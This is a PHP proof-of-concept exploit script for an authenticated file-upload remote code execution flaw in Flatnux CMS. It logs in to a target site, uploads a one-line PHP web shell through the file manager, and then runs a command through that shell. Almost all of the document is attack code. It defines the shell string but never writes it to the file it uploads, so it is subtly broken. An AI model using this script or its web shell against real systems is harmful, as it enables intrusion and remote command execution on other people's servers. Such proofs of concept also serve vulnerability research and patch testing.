<?php
// CVE-2023-53956 PoC - Flatnux Authenticated File Upload RCE
// Target: Flatnux CMS <= 2021-03.25
// Author: VulnCheck (
[email protected])
$target = "http://target.com/flatnux";
$username = "admin";
$password = "admin123";
// Step 1: Login to get session cookie
$login_url = "$target/flatnux.php?mod=users&op=login";
$login_data = http_build_query([
'user' => $username,
'pass' => $password,
'op' => 'login',
'mod' => 'users'
]);
$ch = curl_init($login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $login_data);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_exec($ch);
curl_close($ch);
// Step 2: Upload malicious PHP file via file manager
$upload_url = "$target/flatnux.php?mod=filemanager&op=upload";
$php_shell = '<?php system($_GET["cmd"]); ?>';
$post_data = [
'dir' => 'images',
'file' => new CURLFile('/tmp/shell.php', 'application/x-php', 'shell.php')
];
$ch = curl_init($upload_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);
// Step 3: Execute commands via uploaded shell
$shell_url = "$target/images/shell.php?cmd=whoami";
$ch = curl_init($shell_url);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$result = curl_exec($ch);
curl_close($ch);
echo "RCE Result: $result";
?>